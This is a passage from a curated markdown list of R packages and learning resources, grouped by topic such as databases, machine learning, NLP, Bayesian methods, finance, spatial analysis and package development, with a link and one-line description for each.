[htmlwidgets](http://www.htmlwidgets.org/) - Bring the best of JavaScript data visualization to R. * [rpy2](http://rpy.sourceforge.net/) - Python interface for R. ## Database Management *Packages for managing data.* * [RODBC](http://cran.r-project.org/web/packages/RODBC/) - ODBC database access for R. * [DBI](https://github.com/rstats-db/DBI) - Defines a common interface between the R and database management systems. * [elastic](https://github.com/ropensci/elastic) - Wrapper for the Elasticsearch HTTP API * [mongolite](https://github.com/jeroenooms/mongolite) - Streaming Mongo Client for R * [odbc](https://github.com/r-dbi/odbc) - Connect to ODBC databases (using the DBI interface) * [RMariaDB](https://github.com/rstats-db/RMariaDB) - An R interface to MariaDB (a replacement for the old RMySQL package) * [RMySQL](http://cran.r-project.org/web/packages/RMySQL/) - R interface to the MySQL database. * [ROracle](http://cran.r-project.org/web/packages/ROracle/index.html) - OCI based Oracle database interface for R. * [RPostgres](https://github.com/r-dbi/RPostgres) - an DBI-compliant interface to the postgres database. * [RPostgreSQL](https://code.google.com/p/rpostgresql/) - R interface to the PostgreSQL database system. * [RSQLite](http://cran.r-project.org/web/packages/RSQLite/) - SQLite interface for R * [RJDBC](http://cran.r-project.org/web/packages/RJDBC/) - Provides access to databases through the JDBC interface. * [rmongodb](https://github.com/mongosoup/rmongodb) - R driver for MongoDB. * [redux](https://github.com/richfitz/redux) - Redis client for R. * [RCassandra](http://cran.r-project.org/web/packages/RCassandra/index.html) - Direct interface (not Java) to the most basic functionality of Apache Cassandra. * [RHive](https://github.com/nexr/RHive) - R extension facilitating distributed computing via Apache Hive. * [RNeo4j](https://github.com/nicolewhite/Rneo4j) - Neo4j graph database driver. * [rpostgis](https://github.com/mablab/rpostgis) - R interface to PostGIS database and get spatial objects in R. ## Machine Learning *Packages for making R cleverer.* * [anomalize](https://github.com/business-science/anomalize) - Tidy Anomaly Detection using Twitter's AnomalyDetection method. * [AnomalyDetection <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/twitter/AnomalyDetection) - AnomalyDetection R package from Twitter. * [ahaz](http://cran.r-project.org/web/packages/ahaz/index.html) - Regularization for semiparametric additive hazards regression. * [arules](http://cran.r-project.org/web/packages/arules/index.html) - Mining Association Rules and Frequent Itemsets * [bigrf](http://cran.r-project.org/web/packages/bigrf/index.html) - Big Random Forests: Classification and Regression Forests for Large Data Sets * [bigRR](http://cran.r-project.org/web/packages/bigRR/index.html) - Generalized Ridge Regression (with special advantage for p >> n cases) * [bmrm](http://cran.r-project.org/web/packages/bmrm/index.html) - Bundle Methods for Regularized Risk Minimization Package * [Boruta](http://cran.r-project.org/web/packages/Boruta/index.html) - A wrapper algorithm for all-relevant feature selection * [BreakoutDetection <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/twitter/BreakoutDetection) - Breakout Detection via Robust E-Statistics from Twitter. * [bst](http://cran.r-project.org/web/packages/bst/index.html) - Gradient Boosting * [CausalImpact <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/google/CausalImpact) - Causal inference using Bayesian structural time-series models. * [C50](http://cran.r-project.org/web/packages/C50/index.html) - C5.0 Decision Trees and Rule-Based Models * [caret <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/caret/index.html) - Classification and Regression Training * [Clever Algorithms For Machine Learning](https://github.com/jbrownlee/CleverAlgorithmsMachineLearning) * [CORElearn](http://cran.r-project.org/web/packages/CORElearn/index.html) - Classification, regression, feature evaluation and ordinal evaluation * [CoxBoost](http://cran.r-project.org/web/packages/CoxBoost/index.html) - Cox models by likelihood based boosting for a single survival endpoint or competing risks * [Cubist](http://cran.r-project.org/web/packages/Cubist/index.html) - Rule- and Instance-Based Regression Modeling * [e1071](http://cran.r-project.org/web/packages/e1071/index.html) - Misc Functions of the Department of Statistics (e1071), TU Wien * [earth](http://cran.r-project.org/web/packages/earth/index.html) - Multivariate Adaptive Regression Spline Models * [elasticnet](http://cran.r-project.org/web/packages/elasticnet/index.html) - Elastic-Net for Sparse Estimation and Sparse PCA * [ElemStatLearn](http://cran.r-project.org/web/packages/ElemStatLearn/index.html) - Data sets, functions and examples from the book: "The Elements of Statistical Learning, Data Mining, Inference, and Prediction" by Trevor Hastie, Robert Tibshirani and Jerome Friedman * [evtree](http://cran.r-project.org/web/packages/evtree/index.html) - Evolutionary Learning of Globally Optimal Trees * [fable](https://github.com/tidyverts/fable/) - a collection of commonly used univariate and multivariate time series forecasting models * [prophet <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/facebookincubator/prophet) - Tool for producing high quality forecasts for time series data that has multiple seasonality with linear or non-linear growth. * [FSelector](https://cran.r-project.org/web/packages/FSelector/index.html) - A feature selection framework, based on subset-search or feature ranking approches. * [frbs](http://cran.r-project.org/web/packages/frbs/index.html) - Fuzzy Rule-based Systems for Classification and Regression Tasks * [GAMBoost](http://cran.r-project.org/web/packages/GAMBoost/index.html) - Generalized linear and additive models by likelihood based boosting * [gamboostLSS](http://cran.r-project.org/web/packages/gamboostLSS/index.html) - Boosting Methods for GAMLSS * [gbm](http://cran.r-project.org/web/packages/gbm/index.html) - Generalized Boosted Regression Models * [glmnet <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/glmnet/index.html) - Lasso and elastic-net regularized generalized linear models * [glmpath](http://cran.r-project.org/web/packages/glmpath/index.html) - L1 Regularization Path for Generalized Linear Models and Cox Proportional Hazards Model * [GMMBoost](http://cran.r-project.org/web/packages/GMMBoost/index.html) - Likelihood-based Boosting for Generalized mixed models * [grplasso](http://cran.r-project.org/web/packages/grplasso/index.html) - Fitting user specified models with Group Lasso penalty * [grpreg](http://cran.r-project.org/web/packages/grpreg/index.html) - Regularization paths for regression models with grouped covariates * [h2o <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/h2o/index.html) - Deeplearning, Random forests, GBM, KMeans, PCA, GLM * [hda](http://cran.r-project.org/web/packages/hda/index.html) - Heteroscedastic Discriminant Analysis * [ipred](http://cran.r-project.org/web/packages/ipred/index.html) - Improved Predictors * [kernlab](http://cran.r-project.org/web/packages/kernlab/index.html) - kernlab: Kernel-based Machine Learning Lab * [klaR](http://cran.r-project.org/web/packages/klaR/index.html) - Classification and visualization * [kohonen](http://cran.r-project.org/web/packages/kohonen/) - Supervised and Unsupervised Self-Organising Maps. * [L0Learn](https://cran.r-project.org/web/packages/L0Learn/index.html) - Fast algorithms for best subset selection * [lars](http://cran.r-project.org/web/packages/lars/index.html) - Least Angle Regression, Lasso and Forward Stagewise * [lasso2](http://cran.r-project.org/web/packages/lasso2/index.html) - L1 constrained estimation aka ‘lasso’ * [LiblineaR](http://cran.r-project.org/web/packages/LiblineaR/index.html) - Linear Predictive Models Based On The Liblinear C/C++ Library * [lightgbm <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/web/packages/lightgbm/index.html) - Light Gradient Boosting Machine. * [lme4 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/lme4/lme4) - Mixed-effects models * [nlme <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/web/packages/nlme/index.html) - Mixed-effects models, handling user-specified matrix of residual covariance, relevant for the analysis of repeated observations in longitudinal trials * [glmmTMB](https://cran.r-project.org/web/packages/glmmTMB/index.html) - Generalized mixed-effects models, handling user-specified matrix of residual covariance, relevant for the analysis of repeated observations in longitudinal trials * [LogicReg](http://cran.r-project.org/web/packages/LogicReg/index.html) - Logic Regression * [maptree](http://cran.r-project.org/web/packages/maptree/index.html) - Mapping, pruning, and graphing tree models * [mboost](http://cran.r-project.org/web/packages/mboost/index.html) - Model-Based Boosting * [Machine Learning For Hackers <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/johnmyleswhite/ML_for_Hackers) * [mlr](https://github.com/mlr-org/mlr) - Extensible framework for classification, regression, survival analysis and clustering [DEPRECIATED] * [mlr3 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/mlr-org/mlr3) - Next generation extensible framework for classification, regression, survival analysis and clustering * [mvpart](http://cran.r-project.org/web/packages/mvpart/index.html) - Multivariate partitioning * [MXNet <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/dmlc/mxnet/tree/master/R-package) - MXNet brings flexible and efficient GPU computing and state-of-art deep learning to R. * [ncvreg](http://cran.r-project.org/web/packages/ncvreg/index.html) - Regularization paths for SCAD- and MCP-penalized regression models * [nnet](http://cran.r-project.org/web/packages/nnet/index.html) - eed-forward Neural Networks and Multinomial Log-Linear Models * [oblique.tree](http://cran.r-project.org/web/packages/oblique.tree/index.html) - Oblique Trees for Classification Data * [pamr](http://cran.r-project.org/web/packages/pamr/index.html) - Pam: prediction analysis for microarrays * [party](http://cran.r-project.org/web/packages/party/index.html) - A Laboratory for Recursive Partytioning * [partykit](http://cran.r-project.org/web/packages/partykit/index.html) - A Toolkit for Recursive Partytioning * [penalized](http://cran.r-project.org/web/packages/penalized/index.html) - L1 (lasso and fused lasso) and L2 (ridge) penalized estimation in GLMs and in the Cox model * [penalizedLDA](http://cran.r-project.org/web/packages/penalizedLDA/index.html) - Penalized classification using Fisher's linear discriminant * [penalizedSVM](http://cran.r-project.org/web/packages/penalizedSVM/index.html) - Feature Selection SVM using penalty functions * [quantregForest](http://cran.r-project.org/web/packages/quantregForest/index.html) - quantregForest: Quantile Regression Forests * [randomForest](http://cran.r-project.org/web/packages/randomForest/index.html) - randomForest: Breiman and Cutler's random forests for classification and regression. * [randomForestSRC](http://cran.r-project.org/web/packages/randomForestSRC/index.html) - randomForestSRC: Random Forests for Survival, Regression and Classification (RF-SRC). * [ranger](https://github.com/imbs-hl/ranger) - A Fast Implementation of Random Forests. * [rattle](http://cran.r-project.org/web/packages/rattle/index.html) - Graphical user interface for data mining in R. * [rda](http://cran.r-project.org/web/packages/rda/index.html) - Shrunken Centroids Regularized Discriminant Analysis * [rdetools](http://cran.r-project.org/web/packages/rdetools/index.html) - Relevant Dimension Estimation (RDE) in Feature Spaces * [REEMtree](http://cran.r-project.org/web/packages/REEMtree/index.html) - Regression Trees with Random Effects for Longitudinal (Panel) Data * [relaxo](http://cran.r-project.org/web/packages/relaxo/index.html) - Relaxed Lasso * [rgenoud](http://cran.r-project.org/web/packages/rgenoud/index.html) - R version of GENetic Optimization Using Derivatives * [rgp](http://cran.r-project.org/web/packages/rgp/index.html) - R genetic programming framework * [Rmalschains](http://cran.r-project.org/web/packages/Rmalschains/index.html) - Continuous Optimization using Memetic Algorithms with Local Search Chains (MA-LS-Chains) in R * [rminer](http://cran.r-project.org/web/packages/rminer/index.html) - Simpler use of data mining methods (e.g. NN and SVM) in classification and regression * [ROCR](http://cran.r-project.org/web/packages/ROCR/index.html) - Visualizing the performance of scoring classifiers * [RoughSets](http://cran.r-project.org/web/packages/RoughSets/index.html) - Data Analysis Using Rough Set and Fuzzy Rough Set Theories * [rpart](http://cran.r-project.org/web/packages/rpart/index.html) - Recursive Partitioning and Regression Trees * [RPMM](http://cran.r-project.org/web/packages/RPMM/index.html) - Recursively Partitioned Mixture Model * [RSNNS](http://cran.r-project.org/web/packages/RSNNS/index.html) - Neural Networks in R using the Stuttgart Neural Network Simulator (SNNS) * [Rsomoclu](https://cran.r-project.org/web/packages/Rsomoclu/index.html) - Parallel implementation of self-organizing maps. * [RWeka](http://cran.r-project.org/web/packages/RWeka/index.html) - R/Weka interface * [RXshrink](http://cran.r-project.org/web/packages/RXshrink/index.html) - RXshrink: Maximum Likelihood Shrinkage via Generalized Ridge or Least Angle Regression * [sda](http://cran.r-project.org/web/packages/sda/index.html) - Shrinkage Discriminant Analysis and CAT Score Variable Selection * [SDDA](http://cran.r-project.org/web/packages/SDDA/index.html) - Stepwise Diagonal Discriminant Analysis * [SuperLearner](https://github.com/ecpolley/SuperLearner) and [subsemble](http://cran.r-project.org/web/packages/subsemble/index.html) - Multi-algorithm ensemble learning packages. * [survminer](https://github.com/kassambara/survminer) - Survival Analysis & Visualization * [survival](https://cran.r-project.org/web/packages/survival/index.html) - Survival Analysis * [svmpath](http://cran.r-project.org/web/packages/svmpath/index.html) - svmpath: the SVM Path algorithm * [tgp](http://cran.r-project.org/web/packages/tgp/index.html) - Bayesian treed Gaussian process models * [tidymodels](https://cran.r-project.org/web/packages/tidymodels/index.html) - A collection of packages for modeling and statistical analysis that share the underlying design philosophy, grammar, and data structures of the tidyverse. * [torch](https://cran.r-project.org/web/packages/torch/index.html) - Tensors and Neural Networks with 'GPU' Acceleration. * [tree](http://cran.r-project.org/web/packages/tree/index.html) - Classification and regression trees * [varSelRF](http://cran.r-project.org/web/packages/varSelRF/index.html) - Variable selection using random forests * [xgboost <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/tqchen/xgboost/tree/master/R-package) - eXtreme Gradient Boosting Tree model, well known for its speed and performance. ## Natural Language Processing *Packages for Natural Language Processing.* * [text2vec](https://github.com/dselivanov/text2vec) - Fast Text Mining Framework for Vectorization and Word Embeddings. * [tm](http://cran.r-project.org/web/packages/tm/index.html) - A comprehensive text mining framework for R. * [openNLP](http://cran.r-project.org/web/packages/openNLP/index.html) - Apache OpenNLP Tools Interface. * [koRpus](http://cran.r-project.org/web/packages/koRpus/index.html) - An R Package for Text Analysis. * [zipfR](http://cran.r-project.org/web/packages/zipfR/index.html) - Statistical models for word frequency distributions. * [NLP](http://cran.r-project.org/web/packages/NLP/index.html) - Basic functions for Natural Language Processing. * [LDAvis](https://github.com/cpsievert/LDAvis) - Interactive visualization of topic models. * [topicmodels](https://cran.r-project.org/web/packages/topicmodels/index.html) - Topic modeling interface to the C code developed by by David M. Blei for Topic Modeling (Latent Dirichlet Allocation (LDA), and Correlated Topics Models (CTM)). * [syuzhet](https://cran.r-project.org/web/packages/syuzhet/index.html) - Extracts sentiment from text using three different sentiment dictionaries. * [SnowballC](https://cran.rstudio.com/web/packages/SnowballC/index.html) - Snowball stemmers based on the C libstemmer UTF-8 library. * [quanteda](https://github.com/kbenoit/quanteda) - R functions for Quantitative Analysis of Textual Data. * [Topic Models Resources](https://github.com/trinker/topicmodels_learning) - Topic Models learning and R related resources. * [NLP for <img src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f1e8-1f1f3.png" width="20" heigth="20" align="absmiddle" class="emoji" alt=":cn:">](https://github.com/BZRLC/R-notes/blob/master/NLP/readme.md) - NLP related resources in R. @Chinese * [MonkeyLearn](https://github.com/masalmon/monkeylearn) - 🐒 R package for text analysis with Monkeylearn 🐒. * [tidytext](http://tidytextmining.com/index.html) - Implementing tidy principles of Hadley Wickham to text mining. * [utf8](https://github.com/patperry/r-utf8) - Manipulating and printing UTF-8 text that fixes multiple bugs in R's UTF-8 handling. * [corporaexplorer](https://kgjerde.github.io/corporaexplorer/) - Dynamic exploration of text collections ## Bayesian *Packages for Bayesian Inference.* * [coda](http://cran.r-project.org/web/packages/coda/index.html) - Output analysis and diagnostics for MCMC. * [mcmc](http://cran.r-project.org/web/packages/mcmc/index.html) - Markov Chain Monte Carlo. * [MCMCpack](http://mcmcpack.berkeley.edu/) - Markov chain Monte Carlo (MCMC) Package. * [R2WinBUGS](http://cran.r-project.org/web/packages/R2WinBUGS/index.html) - Running WinBUGS and OpenBUGS from R / S-PLUS. * [BRugs](http://cran.r-project.org/web/packages/BRugs/index.html) - R interface to the OpenBUGS MCMC software. * [rjags](http://cran.r-project.org/web/packages/rjags/index.html) - R interface to the JAGS MCMC library. * [rstan <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://mc-stan.org/interfaces/rstan.html) - R interface to the Stan MCMC software. ## Optimization *Packages for Optimization.* * [lpSolve](https://cran.rstudio.com/web/packages/lpSolve/index.html) - Interface to `Lp_solve` to Solve Linear/Integer Programs. * [minqa](https://cran.rstudio.com/web/packages/minqa/index.html) - Derivative-free optimization algorithms by quadratic approximation. * [nloptr](https://cran.rstudio.com/web/packages/nloptr/index.html) - NLopt is a free/open-source library for nonlinear optimization. * [ompr](https://cran.rstudio.com/web/packages/ompr/index.html) - Model mixed integer linear programs in an algebraic way directly in R. * [Rglpk](https://cran.rstudio.com/web/packages/Rglpk/index.html) - R/GNU Linear Programming Kit Interface * [ROI](https://cran.rstudio.com/web/packages/ROI/index.html) - The R Optimization Infrastructure ('ROI') is a sophisticated framework for handling optimization problems in R. ## Finance *Packages for dealing with money.* * [quantmod <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://www.quantmod.com/) - Quantitative Financial Modelling & Trading Framework for R. * [pedquant](http://pedquant.com/) - Public Economic Data and Quantitative Analysis * [TTR](http://cran.r-project.org/web/packages/TTR/index.html) - Functions and data to construct technical trading rules with R. * [PerformanceAnalytics](http://cran.r-project.org/web/packages/PerformanceAnalytics/index.html) - Econometric tools for performance and risk analysis. * [zoo <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/zoo/index.html) - S3 Infrastructure for Regular and Irregular Time Series. * [xts](http://cran.r-project.org/web/packages/xts/index.html) - eXtensible Time Series. * [tseries](http://cran.r-project.org/web/packages/tseries/index.html) - Time series analysis and computational finance. * [fAssets](http://cran.r-project.org/web/packages/fAssets/index.html) - Analysing and Modelling Financial Assets. * [scorecard](https://github.com/ShichenXie/scorecard) - Credit Risk Scorecard ## Bioinformatics and Biostatistics *Packages for processing biological datasets.* * [Bioconductor <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://www.bioconductor.org/) - Tools for the analysis and comprehension of high-throughput genomic data. * [genetics](http://cran.r-project.org/web/packages/genetics/index.html) - Classes and methods for handling genetic data. * [gap](http://cran.r-project.org/web/packages/gap/index.html) - An integrated package for genetic data analysis of both population and family data. * [ape](http://cran.r-project.org/web/packages/ape/index.html) - Analyses of Phylogenetics and Evolution. * [pheatmap](http://cran.r-project.org/web/packages/pheatmap/index.html) - Pretty heatmaps made easy. * [lme4](https://github.com/lme4/lme4) - Generalized mixed-effects models. * [nlme](https://cran.r-project.org/web/packages/nlme/index.html) - Mixed-effects models, handling user-specified matrix of residual covariance, relevant for the anaysis of repeated observations in longitudinal trials. * [glmmTMB](https://cran.r-project.org/web/packages/glmmTMB/index.html) - Generalized mixed-effects models, handling user-specified matrix of residual covariance, relevant for the anaysis of repeated observations in longitudinal trials. ## Network Analysis *Packages to construct, analyze and visualize network data.* * [Network Analysis List](https://github.com/briatte/awesome-network-analysis) - Network Analysis related resources. * [igraph <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://igraph.org/r/) - A collection of network analysis tools. * [network](https://cran.r-project.org/web/packages/network/index.html) - Basic tools to manipulate relational data in R. * [sna](https://cran.r-project.org/web/packages/sna/index.html) - Basic network measures and visualization tools. * [netdiffuseR](https://github.com/USCCANA/netdiffuseR) - Tools for Analysis of Network Diffusion. * [networkDynamic](https://cran.r-project.org/web/packages/networkDynamic/) - Support for dynamic, (inter)temporal networks. * [ndtv](https://cran.r-project.org/web/packages/ndtv/) - Tools to construct animated visualizations of dynamic network data in various formats. * [statnet](http://statnet.org/) - The project behind many R network analysis packages. * [ergm](https://cran.r-project.org/web/packages/ergm/index.html) - Exponential random graph models in R. * [latentnet](https://cran.r-project.org/web/packages/latentnet/index.html) - Latent position and cluster models for network objects. * [tnet](https://cran.r-project.org/web/packages/tnet/index.html) - Network measures for weighted, two-mode and longitudinal networks. * [rgexf](https://bitbucket.org/gvegayon/rgexf/wiki/Home) - Export network objects from R to [GEXF](http://gexf.net/format/), for manipulation with network software like [Gephi](https://gephi.org/) or [Sigma](http://sigmajs.org/). * [visNetwork](https://github.com/datastorm-open/visNetwork) - Using vis.js library for network visualization. * [tidygraph](https://github.com/thomasp85/tidygraph) - A tidy API for graph manipulation ## Spatial *Packages to explore the earth.* * [CRAN Task View: Analysis of Spatial Data](https://cran.r-project.org/web/views/Spatial.html)- Spatial Analysis related resources. * [Leaflet](http://rstudio.github.io/leaflet/) - One of the most popular JavaScript libraries interactive maps. * [ggmap](https://github.com/dkahle/ggmap) - Plotting maps in R with ggplot2. * [REmap](https://github.com/Lchiffon/REmap) - R interface to the JavaScript library ECharts for interactive map data visualization. * [sf](https://cran.r-project.org/web/packages/sf/index.html) - Improved Classes and Methods for Spatial Data. * [sp](https://edzer.github.io/sp/) - Classes and Methods for Spatial Data. * [rgeos](https://cran.r-project.org/web/packages/rgeos/index.html) - Interface to Geometry Engine - Open Source * [rgdal](https://cran.r-project.org/web/packages/rgdal/index.html) - Bindings for the Geospatial Data Abstraction Library * [maptools](https://cran.r-project.org/web/packages/maptools/index.html) - Tools for Reading and Handling Spatial Objects * [gstat](https://github.com/edzer/gstat) - Spatial and spatio-temporal geostatistical modelling, prediction and simulation. * [spacetime](https://github.com/edzer/spacetime) - R classes and methods for spatio-temporal data. * [RColorBrewer](https://cran.r-project.org/web/packages/RColorBrewer/index.html) - Provides color schemes for maps * [spatstat](https://github.com/spatstat/spatstat) - Spatial Point Pattern Analysis, Model-Fitting, Simulation, Tests * [spdep](https://cran.r-project.org/web/packages/spdep/index.html) - Spatial Dependence: Weighting Schemes, Statistics and Models * [tigris](https://github.com/walkerke/tigris) - Download and use Census TIGER/Line shapefiles in R * [GWmodel](https://cran.r-project.org/web/packages/GWmodel/) - Geographically-Weighted Models * [tmap](https://github.com/mtennekes/tmap) - R package for thematic maps ## R Development *Packages for packages.* * [Package Development List](https://github.com/ropensci/PackageDevelopment) - R packages to improve package development. * [promises](https://cran.r-project.org/web/packages/promises/index.html) - Abstractions for Promise-Based Asynchronous Programming * [devtools <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/devtools) - Tools to make an R developer's life easier. * [testthat <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/testthat) - An R package to make testing fun. * [R6 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/wch/R6) - simpler, faster, lighter-weight alternative to R's built-in classes. * [pryr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/pryr) - Make it easier to understand what's going on in R. * [roxygen <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/klutometis/roxygen) - Describe your functions in comments next to their definitions. * [lineprof](https://github.com/hadley/lineprof) - Visualise line profiling results in R. * [packrat](https://github.com/rstudio/packrat) - Make your R projects more isolated, portable, and reproducible. * [installr](https://github.com/talgalili/installr/) - Functions for installing softwares from within R (for Windows). * [import](https://github.com/smbache/import/) - An import mechanism for R. * [modules](https://github.com/klmr/modules) - An alternative (Python style) module system for R. * [Rocker <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/rocker-org) - R configurations for [Docker](https://www.docker.com/). * [RStudio Addins](https://github.com/daattali/rstudio-addins) - List of RStudio addins. * [drat](https://github.com/eddelbuettel/drat) - Creation and use of R repositories on GitHub or other repos. * [covr](https://github.com/jimhester/covr) - Test coverage for your R package and (optionally) upload the results to [coveralls](https://coveralls.io/) or [codecov](https://codecov.io/). * [lintr](https://github.com/jimhester/lintr) - Static code analysis for R to enforce code style. * [staticdocs](https://github.com/hadley/staticdocs) - Generate static html documentation for an R package. * [sinew](https://github.com/metrumresearchgroup/sinew) - Generate roxygen2 skeletons populated with information scraped from the function script. ## Logging *Packages for Logging* * [futile.logger](https://github.com/zatonovo/futile.logger) - A logging package in R similar to log4j * [log4r](https://github.com/johnmyleswhite/log4r) - A log4j derivative for R * [logging](https://cran.r-project.org/web/packages/logging/index.html) - A logging package emulating the python logging package. ## Data Packages *Handy Data Packages* * [engsoccerdata](https://github.com/jalapic/engsoccerdata) - English and European soccer results 1871-2016. * [gapminder](http://github.com/jennybc/gapminder) - Excerpt from the Gapminder dataset (data about countries through the past 50 years). * [wbstats](https://cran.r-project.org/web/packages/wbstats/index.html) - Tools for searching and downloading data and statistics from the World Bank Data API and the World Bank Data Catalog API. * [ICON](https://github.com/rrrlw/ICON) - complex systems & networks datasets from the Index of COmplex Networks (ICON) database [webpage](http://icon.colorado.edu). * [RCOBOLDI](https://github.com/thospfuller/rcoboldi) - Import COBOL CopyBook data files directly into R as properly structured data frames. Package builds are available via [Drat](https://github.com/thospfuller/drat) and [DockerHub](https://hub.docker.com/r/thospfuller/rcoboldi-rocker-rstudio). ## Other Tools *Handy Tools for R* * [git2r](https://github.com/ropensci/git2r) - Gives you programmatic access to Git repositories from R. * [Conda](https://anaconda.org/r/repo) - Most R packages are available through the Conda polyglot cross-platform dependency manager. ## Other Interpreters *Alternative R engines.* * [CXXR](https://www.cs.kent.ac.uk/projects/cxxr/) - Refactorising R into C++. * [fastR](https://bitbucket.org/allr/fastr/wiki/Home) - FastR is an implementation of the R Language in Java atop Truffle and Graal. * [pqR](http://www.pqr-project.org/) - a "pretty quick" implementation of R * [renjin](http://www.renjin.org/) - a JVM-based interpreter for R. * [rho](https://github.com/rho-devel/rho) - Refactor the interpreter of the R language into a fully-compatible, efficient, VM for R. * [riposte](https://github.com/jtalbot/riposte) - a fast interpreter and JIT for R. * [TERR](http://spotfire.tibco.com/discover-spotfire/what-does-spotfire-do/predictive-analytics/tibco-enterprise-runtime-for-r-terr) - TIBCO Enterprise Runtime for R. ## Learning R *Packages for Learning R.* * [swirl <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://swirlstats.com/) - An interactive R tutorial directly in your R console. * [DataScienceR <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/ujjwalkarn/DataScienceR) - a list of R tutorials for Data Science, NLP and Machine Learning. # Resources Where to discover new R-esources. ## Websites ### Manuals * [R-project](http://www.r-project.org/) - The R Project for Statistical Computing. * [An Introduction to R](https://cran.r-project.org/doc/manuals/R-intro.pdf) - A very good introductory text on R, also covers some advanced topic. See also the `Manuals` section on [CRAN](https://cran.r-project.org/manuals.html) * [CRAN Contributed Docs](https://cran.r-project.org/other-docs.html) - CRAN Contributed Documentation in many languages. * [Quick-R](http://www.statmethods.net/) - An excellent quick reference * [tryR](http://tryr.codeschool.com/) - A quick course for getting started with R. ### Tools and References * [RDocumentation](https://www.rdocumentation.org/) - Search through all CRAN, Bioconductor, Github packages and their archives with RDocumentation. * [rdrr.io](https://rdrr.io/) - Find R package documentation. Try R packages in your browser. * [CRAN Task Views](http://cran.r-project.org/web/views/) - Task Views for CRAN packages. * [rnotebook.io](https://rnotebook.io/) - Create online R Jupyter Notebooks for free. ### News and Info 